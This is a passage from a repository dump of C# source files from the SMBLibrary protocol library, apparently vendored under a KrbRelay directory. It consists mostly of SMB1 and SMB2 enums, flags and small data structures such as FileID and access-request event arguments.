TransactionSubcommandName : ushort 4 | { 5 | /// 6 | /// The 0x0001 subcommand code is interpreted as TRANS_MAILSLOT_WRITE if the operation is being performed on a mailslot. 7 | /// The same code is interpreted as a TRANS_SET_NMPIPE_STATE (section 2.2.5.1) if the operation is performed on a named pipe. 8 | /// 9 | TRANS_MAILSLOT_WRITE = 0x0001, 10 | 11 | TRANS_SET_NMPIPE_STATE = 0x0001, 12 | TRANS_RAW_READ_NMPIPE = 0x0011, 13 | TRANS_QUERY_NMPIPE_STATE = 0x0021, 14 | TRANS_QUERY_NMPIPE_INFO = 0x0022, 15 | TRANS_PEEK_NMPIPE = 0x0023, 16 | TRANS_TRANSACT_NMPIPE = 0x0026, 17 | TRANS_RAW_WRITE_NMPIPE = 0x0031, 18 | TRANS_READ_NMPIPE = 0x0036, 19 | TRANS_WRITE_NMPIPE = 0x0037, 20 | TRANS_WAIT_NMPIPE = 0x0053, 21 | TRANS_CALL_NMPIPE = 0x0054, 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1/TransactionSubcommands/TransactionSetNamedPipeStateResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.SMB1 9 | { 10 | /// 11 | /// TRANS_SET_NMPIPE_STATE Response 12 | /// 13 | public class TransactionSetNamedPipeStateResponse : TransactionSubcommand 14 | { 15 | public const int ParametersLength = 0; 16 | 17 | public override TransactionSubcommandName SubcommandName 18 | { 19 | get 20 | { 21 | return TransactionSubcommandName.TRANS_SET_NMPIPE_STATE; 22 | } 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1FileStore/Enums/FindInformationLevel.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum FindInformationLevel : ushort 4 | { 5 | SMB_INFO_STANDARD = 0x0001, // LANMAN2.0 6 | SMB_INFO_QUERY_EA_SIZE = 0x0002, // LANMAN2.0 7 | SMB_INFO_QUERY_EAS_FROM_LIST = 0x0003, // LANMAN2.0 8 | SMB_FIND_FILE_DIRECTORY_INFO = 0x0101, 9 | SMB_FIND_FILE_FULL_DIRECTORY_INFO = 0x0102, 10 | SMB_FIND_FILE_NAMES_INFO = 0x0103, 11 | SMB_FIND_FILE_BOTH_DIRECTORY_INFO = 0x0104, 12 | SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO = 0x0105, // MS-SMB 13 | SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO = 0x0106, // MS-SMB 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1FileStore/Enums/QueryFSInformationLevel.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum QueryFSInformationLevel : ushort 4 | { 5 | SMB_INFO_ALLOCATION = 0x0001, // LANMAN2.0 6 | SMB_INFO_VOLUME = 0x0002, // LANMAN2.0 7 | SMB_QUERY_FS_VOLUME_INFO = 0x0102, 8 | SMB_QUERY_FS_SIZE_INFO = 0x0103, 9 | SMB_QUERY_FS_DEVICE_INFO = 0x0104, 10 | SMB_QUERY_FS_ATTRIBUTE_INFO = 0x0105, 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1FileStore/Enums/QueryInformationLevel.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum QueryInformationLevel : ushort 4 | { 5 | SMB_INFO_STANDARD = 0x0001, // LANMAN2.0 6 | SMB_INFO_QUERY_EA_SIZE = 0x0002, // LANMAN2.0 7 | SMB_INFO_QUERY_EAS_FROM_LIST = 0x0003, // LANMAN2.0 8 | SMB_INFO_QUERY_ALL_EAS = 0x0004, // LANMAN2.0 9 | SMB_INFO_IS_NAME_VALID = 0x0006, // LANMAN2.0 10 | SMB_QUERY_FILE_BASIC_INFO = 0x0101, 11 | SMB_QUERY_FILE_STANDARD_INFO = 0x0102, 12 | SMB_QUERY_FILE_EA_INFO = 0x0103, 13 | SMB_QUERY_FILE_NAME_INFO = 0x0104, 14 | SMB_QUERY_FILE_ALL_INFO = 0x0107, 15 | SMB_QUERY_FILE_ALT_NAME_INFO = 0x0108, 16 | SMB_QUERY_FILE_STREAM_INFO = 0x0109, 17 | SMB_QUERY_FILE_COMPRESSION_INFO = 0x010B, 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB1FileStore/Enums/SetInformationLevel.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB1 2 | { 3 | public enum SetInformationLevel : ushort 4 | { 5 | SMB_INFO_STANDARD = 0x0001, // LANMAN2.0 6 | SMB_INFO_SET_EAS = 0x0002, // LANMAN2.0 7 | SMB_SET_FILE_BASIC_INFO = 0x0101, 8 | SMB_SET_FILE_DISPOSITION_INFO = 0x0102, 9 | SMB_SET_FILE_ALLOCATION_INFO = 0x0103, 10 | SMB_SET_FILE_END_OF_FILE_INFO = 0x0104, 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/ChangeNotify/ChangeNotifyFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum ChangeNotifyFlags : ushort 7 | { 8 | WatchTree = 0x0001, // SMB2_WATCH_TREE 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Close/CloseFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum CloseFlags : byte 7 | { 8 | PostQueryAttributes = 0x0001, // SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Create/CreateAction.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum CreateAction : uint 4 | { 5 | FILE_SUPERSEDED = 0x00000000, 6 | FILE_OPENED = 0x00000001, 7 | FILE_CREATED = 0x00000002, 8 | FILE_OVERWRITTEN = 0x00000003, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Create/CreateResponseFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum CreateResponseFlags : byte 7 | { 8 | ReparsePoint = 0x01, // SMB2_CREATE_FLAG_REPARSEPOINT 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Create/OplockLevel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum OplockLevel : byte 7 | { 8 | None = 0x00, // SMB2_OPLOCK_LEVEL_NONE 9 | Level2 = 0x01, // SMB2_OPLOCK_LEVEL_II 10 | Exclusive = 0x08, // SMB2_OPLOCK_LEVEL_EXCLUSIVE 11 | Batch = 0x09, // SMB2_OPLOCK_LEVEL_BATCH 12 | Lease = 0xFF, // SMB2_OPLOCK_LEVEL_LEASE 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/IOCtl/IOCtlRequestFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum IOCtlRequestFlags : uint 7 | { 8 | IsFSCtl = 0x00000001, // SMB2_0_IOCTL_IS_FSCTL 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/InfoType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum InfoType : byte 4 | { 5 | File = 0x01, // SMB2_0_INFO_FILE 6 | FileSystem = 0x02, // SMB2_0_INFO_FILESYSTEM 7 | Security = 0x03, // SMB2_0_INFO_SECURITY 8 | Quota = 0x04, // SMB2_0_INFO_QUOTA 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Negotiate/Capabilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum Capabilities : uint 7 | { 8 | DFS = 0x00000001, // SMB2_GLOBAL_CAP_DFS 9 | Leasing = 0x00000002, // SMB2_GLOBAL_CAP_LEASING 10 | LargeMTU = 0x0000004, // SMB2_GLOBAL_CAP_LARGE_MTU 11 | MultiChannel = 0x0000008, // SMB2_GLOBAL_CAP_MULTI_CHANNEL 12 | PersistentHandles = 0x00000010, // SMB2_GLOBAL_CAP_PERSISTENT_HANDLES 13 | DirectoryLeasing = 0x00000020, // SMB2_GLOBAL_CAP_DIRECTORY_LEASING 14 | Encryption = 0x00000040, // SMB2_GLOBAL_CAP_ENCRYPTION (SMB 3.x) 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Negotiate/NegotiateContextType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum NegotiateContextType : ushort 4 | { 5 | SMB2_PREAUTH_INTEGRITY_CAPABILITIES = 0x0001, 6 | SMB2_ENCRYPTION_CAPABILITIES = 0x0002, 7 | } 8 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Negotiate/SMB2Dialect.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum SMB2Dialect : ushort 4 | { 5 | SMB202 = 0x0202, // SMB 2.0.2 6 | SMB210 = 0x0210, // SMB 2.1 7 | SMB300 = 0x0300, // SMB 3.0 8 | SMB302 = 0x0302, // SMB 3.0.2 9 | SMB311 = 0x0311, // SMB 3.1.1 10 | 11 | /// 12 | /// indicates that the server implements SMB 2.1 or future dialect revisions and expects 13 | /// the client to send a subsequent SMB2 Negotiate request to negotiate the actual SMB 2 14 | /// Protocol revision to be used. 15 | /// The wildcard revision number is sent only in response to a multi-protocol negotiate 16 | /// request with the "SMB 2.???" dialect string. 17 | /// 18 | SMB2xx = 0x02FF, // SMB 2.xx 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Negotiate/SecurityMode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum SecurityMode : ushort 7 | { 8 | SigningEnabled = 0x0001, // SMB2_NEGOTIATE_SIGNING_ENABLED 9 | SigningRequired = 0x0002, // SMB2_NEGOTIATE_SIGNING_REQUIRED 10 | } 11 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/QueryDirectory/QueryDirectoryFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum QueryDirectoryFlags : byte 7 | { 8 | SMB2_RESTART_SCANS = 0x01, 9 | SMB2_RETURN_SINGLE_ENTRY = 0x02, 10 | SMB2_INDEX_SPECIFIED = 0x04, 11 | SMB2_REOPEN = 0x10, 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Read/ReadFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum ReadFlags : byte 7 | { 8 | Unbuffered = 0x01, // SMB2_READFLAG_READ_UNBUFFERED; 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/SMB2CommandName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum SMB2CommandName : ushort 4 | { 5 | Negotiate = 0x0000, // SMB2 NEGOTIATE 6 | SessionSetup = 0x0001, // SMB2 SESSION_SETUP 7 | Logoff = 0x0002, // SMB2 LOGOFF 8 | TreeConnect = 0x0003, // SMB2 TREE_CONNECT 9 | TreeDisconnect = 0x0004, // SMB2 TREE_DISCONNECT 10 | Create = 0x0005, // SMB2 CREATE 11 | Close = 0x0006, // SMB2 CLOSE 12 | Flush = 0x0007, // SMB2 FLUSH 13 | Read = 0x0008, // SMB2 READ 14 | Write = 0x0009, // SMB2 WRITE 15 | Lock = 0x000A, // SMB2 LOCK 16 | IOCtl = 0x000B, // SMB2 IOCTL 17 | Cancel = 0x000C, // SMB2 CANCEL 18 | Echo = 0x000D, // SMB2 ECHO 19 | QueryDirectory = 0x000E, // SMB2 QUERY_DIRECTORY 20 | ChangeNotify = 0x000F, // SMB2 CHANGE_NOTIFY 21 | QueryInfo = 0x0010, // SMB2 QUERY_INFO 22 | SetInfo = 0x0011, // SMB2 SET_INFO 23 | OplockBreak = 0x0012, // SMB2 OPLOCK_BREAK 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/SMB2PacketHeaderFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum SMB2PacketHeaderFlags : uint 7 | { 8 | ServerToRedir = 0x0000001, // SMB2_FLAGS_SERVER_TO_REDIR 9 | AsyncCommand = 0x0000002, // SMB2_FLAGS_ASYNC_COMMAND 10 | RelatedOperations = 0x0000004, // SMB2_FLAGS_RELATED_OPERATIONS 11 | Signed = 0x0000008, // SMB2_FLAGS_SIGNED 12 | DfsOperations = 0x10000000, // SMB2_FLAGS_DFS_OPERATIONS 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/SMB2TransformHeaderFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum SMB2TransformHeaderFlags : ushort 7 | { 8 | Encrypted = 0x0001, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/SessionSetup/SessionFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum SessionFlags : ushort 7 | { 8 | IsGuest = 0x01, // SMB2_SESSION_FLAG_IS_GUEST 9 | IsNull = 0x02, // SMB2_SESSION_FLAG_IS_NULL 10 | EncryptData = 0x04, // SMB2_SESSION_FLAG_ENCRYPT_DATA (SMB 3.x) 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/SessionSetup/SessionSetupFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum SessionSetupFlags : byte 7 | { 8 | Binding = 0x01, // SMB2_SESSION_FLAG_BINDING 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/TreeConnect/ShareCapabilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum ShareCapabilities : uint 7 | { 8 | Dfs = 0x00000008, // SMB2_SHARE_CAP_DFS 9 | ContinuousAvailability = 0x00000010, // SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY 10 | Scaleout = 0x00000020, // SMB2_SHARE_CAP_SCALEOUT 11 | Cluster = 0x00000040, // SMB2_SHARE_CAP_CLUSTER 12 | Asymmetric = 0x00000080, // SMB2_SHARE_CAP_ASYMMETRIC 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/TreeConnect/ShareType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum ShareType : byte 4 | { 5 | Disk = 0x01, // SMB2_SHARE_TYPE_DISK 6 | Pipe = 0x02, // SMB2_SHARE_TYPE_PIPE 7 | Print = 0x03, // SMB2_SHARE_TYPE_PRINT 8 | } 9 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Enums/Write/WriteFlags.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.SMB2 2 | { 3 | public enum WriteFlags : uint 4 | { 5 | WriteThrough = 0x00000001, // SMB2_WRITEFLAG_WRITE_THROUGH 6 | Unbuffered = 0x00000002, // SMB2_WRITEFLAG_WRITE_UNBUFFERED 7 | } 8 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Structures/Enums/LockFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.SMB2 4 | { 5 | [Flags] 6 | public enum LockFlags : uint 7 | { 8 | SharedLock = 0x00000001, // SMB2_LOCKFLAG_SHARED_LOCK 9 | ExclusiveLock = 0x00000002, // SMB2_LOCKFLAG_EXCLUSIVE_LOCK 10 | Unlock = 0x00000004, // SMB2_LOCKFLAG_UNLOCK 11 | FailImmediately = 0x00000008, // SMB2_LOCKFLAG_FAIL_IMMEDIATELY 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/SMB2/Structures/FileID.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using Utilities; 9 | 10 | namespace SMBLibrary.SMB2 11 | { 12 | /// 13 | /// [MS-SMB2] 2.2.14.1 - SMB2_FILEID 14 | /// 15 | public struct FileID 16 | { 17 | public const int Length = 16; 18 | 19 | public ulong Persistent; 20 | public ulong Volatile; 21 | 22 | public FileID(byte[] buffer, int offset) 23 | { 24 | Persistent = LittleEndianConverter.ToUInt64(buffer, offset + 0); 25 | Volatile = LittleEndianConverter.ToUInt64(buffer, offset + 8); 26 | } 27 | 28 | public void WriteBytes(byte[] buffer, int offset) 29 | { 30 | LittleEndianWriter.WriteUInt64(buffer, offset + 0, Persistent); 31 | LittleEndianWriter.WriteUInt64(buffer, offset + 8, Volatile); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/ConnectionRequestEventArgs.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2019 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | using System.Net; 10 | 11 | namespace SMBLibrary.Server 12 | { 13 | public class ConnectionRequestEventArgs : EventArgs 14 | { 15 | public IPEndPoint IPEndPoint; 16 | public bool Accept = true; 17 | 18 | public ConnectionRequestEventArgs(IPEndPoint ipEndPoint) 19 | { 20 | IPEndPoint = ipEndPoint; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/ConnectionState/OpenSearch.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014-2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System.Collections.Generic; 9 | 10 | namespace SMBLibrary.Server 11 | { 12 | internal class OpenSearch 13 | { 14 | public List Entries; 15 | public int EnumerationLocation; 16 | 17 | public OpenSearch(List entries, int enumerationLocation) 18 | { 19 | Entries = entries; 20 | EnumerationLocation = enumerationLocation; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/ConnectionState/SMB1AsyncContext.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Server 9 | { 10 | internal class SMB1AsyncContext 11 | { 12 | public ushort UID; // User ID 13 | public ushort TID; // Tree ID 14 | public uint PID; // Process ID 15 | public ushort MID; // Multiplex ID 16 | public ushort FileID; 17 | public SMB1ConnectionState Connection; 18 | public object IORequest; 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/ConnectionState/SMB2AsyncContext.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.SMB2; 9 | 10 | namespace SMBLibrary.Server 11 | { 12 | internal class SMB2AsyncContext 13 | { 14 | public ulong AsyncID; 15 | public FileID FileID; 16 | public SMB2ConnectionState Connection; 17 | public ulong SessionID; 18 | public uint TreeID; 19 | public object IORequest; 20 | } 21 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/Enums/SMBDialect.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Server 2 | { 3 | public enum SMBDialect 4 | { 5 | NotSet, 6 | NTLM012, // NT LM 0.12 7 | SMB202, // SMB 2.0.2 8 | SMB210, // SMB 2.1 9 | SMB300, // SMB 3.0 10 | } 11 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/Information/OpenFileInformation.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | using System.IO; 10 | 11 | namespace SMBLibrary.Server 12 | { 13 | public class OpenFileInformation 14 | { 15 | public string ShareName; 16 | public string Path; 17 | public FileAccess FileAccess; 18 | public DateTime OpenedDT; 19 | 20 | public OpenFileInformation(string shareName, string path, FileAccess fileAccess, DateTime openedDT) 21 | { 22 | ShareName = shareName; 23 | Path = path; 24 | FileAccess = fileAccess; 25 | OpenedDT = openedDT; 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/SMB1/SMB1FileStoreHelper.Set.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014-2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.SMB1; 9 | 10 | namespace SMBLibrary.Server.SMB1 11 | { 12 | internal partial class SMB1FileStoreHelper 13 | { 14 | public static NTStatus SetFileInformation(INTFileStore fileStore, object handle, SetInformation information) 15 | { 16 | FileInformation fileInformation = SetInformationHelper.ToFileInformation(information); 17 | return fileStore.SetFileInformation(handle, fileInformation); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/SMB2/EchoHelper.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.SMB2; 9 | 10 | namespace SMBLibrary.Server.SMB2 11 | { 12 | internal class EchoHelper 13 | { 14 | internal static EchoResponse GetUnsolicitedEchoResponse() 15 | { 16 | // [MS-SMB2] 3.2.5.1.2 - If the MessageId is 0xFFFFFFFFFFFFFFFF, this is not a reply to a previous request, and the client MUST NOT attempt to locate the request, but instead process it as follows: 17 | // If the command field in the SMB2 header is SMB2 OPLOCK_BREAK, it MUST be processed as specified in 3.2.5.19. Otherwise, the response MUST be discarded as invalid. 18 | EchoResponse response = new EchoResponse(); 19 | response.Header.MessageID = 0xFFFFFFFFFFFFFFFF; 20 | return response; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/Shares/AccessRequestArgs.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | using System.IO; 10 | using System.Net; 11 | 12 | namespace SMBLibrary.Server 13 | { 14 | public class AccessRequestArgs : EventArgs 15 | { 16 | public string UserName; 17 | public string Path; 18 | public FileAccess RequestedAccess; 19 | public string MachineName; 20 | public IPEndPoint ClientEndPoint; 21 | public bool Allow = true; 22 | 23 | public AccessRequestArgs(string userName, string path, FileAccess requestedAccess, string machineName, IPEndPoint clientEndPoint) 24 | { 25 | UserName = userName; 26 | Path = path; 27 | RequestedAccess = requestedAccess; 28 | MachineName = machineName; 29 | ClientEndPoint = clientEndPoint; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/Shares/Enums/CachingPolicy.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Server 2 | { 3 | /// 4 | /// Client-Side Caching Policy 5 | /// 6 | public enum CachingPolicy 7 | { 8 | /// 9 | /// The client can cache files that are explicitly selected by the user for offline use. 10 | /// Automatic file-by-file reintegration is not allowed. 11 | /// 12 | ManualCaching, 13 | 14 | /// 15 | /// The client can automatically cache files that are used by the user for offline access. 16 | /// Automatic file-by-file reintegration is allowed. 17 | /// 18 | AutoCaching, 19 | 20 | /// 21 | /// The client can automatically cache files that are used by the user for offline access. 22 | /// Clients are permitted to work from their local cache even while online. 23 | /// 24 | VideoCaching, 25 | 26 | /// 27 | /// No offline caching is allowed for this share. 28 | /// 29 | NoCaching, 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Server/Shares/ISMBShare.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Server 9 | { 10 | public interface ISMBShare 11 | { 12 | string Name 13 | { 14 | get; 15 | } 16 | 17 | INTFileStore FileStore 18 | { 19 | get; 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/Enums/PlatformName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | /// 4 | /// [MS-SRVS] 2.2.2.6 5 | /// 6 | public enum PlatformName : uint 7 | { 8 | DOS = 300, // PLATFORM_ID_DOS 9 | OS2 = 400, // PLATFORM_ID_OS2 10 | NT = 500, // PLATFORM_ID_NT 11 | OSF = 600, // PLATFORM_ID_OSF 12 | VMS = 700, // PLATFORM_ID_VMS 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/Exceptions/UnsupportedOpNumException.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2018 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | 10 | namespace SMBLibrary 11 | { 12 | public class UnsupportedOpNumException : Exception 13 | { 14 | public UnsupportedOpNumException() : base() 15 | { 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/RemoteService.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | 10 | namespace SMBLibrary.Services 11 | { 12 | public abstract class RemoteService 13 | { 14 | public abstract byte[] GetResponseBytes(ushort opNum, byte[] requestBytes); 15 | 16 | public abstract Guid InterfaceGuid 17 | { 18 | get; 19 | } 20 | 21 | public abstract string PipeName 22 | { 23 | get; 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/ServerService/Enums/Permissions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | [Flags] 6 | public enum Permissions : uint 7 | { 8 | PERM_FILE_READ = 0x00000001, 9 | PERM_FILE_WRITE = 0x00000002, 10 | PERM_FILE_CREATE = 0x00000004, 11 | ACCESS_EXEC = 0x00000008, 12 | ACCESS_DELETE = 0x00000010, 13 | ACCESS_ATRIB = 0x00000020, 14 | ACCESS_PERM = 0x00000040, 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/ServerService/Structures/ServerInfo/ServerInfoLevel.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You 